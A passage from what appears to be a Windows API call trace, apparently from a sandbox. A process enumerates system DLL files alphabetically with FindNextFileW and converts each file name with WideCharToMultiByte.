(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.365] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0038.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0038.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x94c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0038.365] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0038.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0038.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x94c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0038.707] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0038.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x94c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0038.707] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0038.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x94c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0038.707] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0038.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.707] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0038.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x94c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0038.708] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0038.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x94c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0038.708] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0038.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.708] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0038.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x94c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0038.708] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0038.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.708] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x94c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0038.709] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x94c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0038.709] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.709] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.709] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x94c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0038.709] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.709] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.709] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.710] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.710] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.710] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.710] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x94c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0038.710] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, 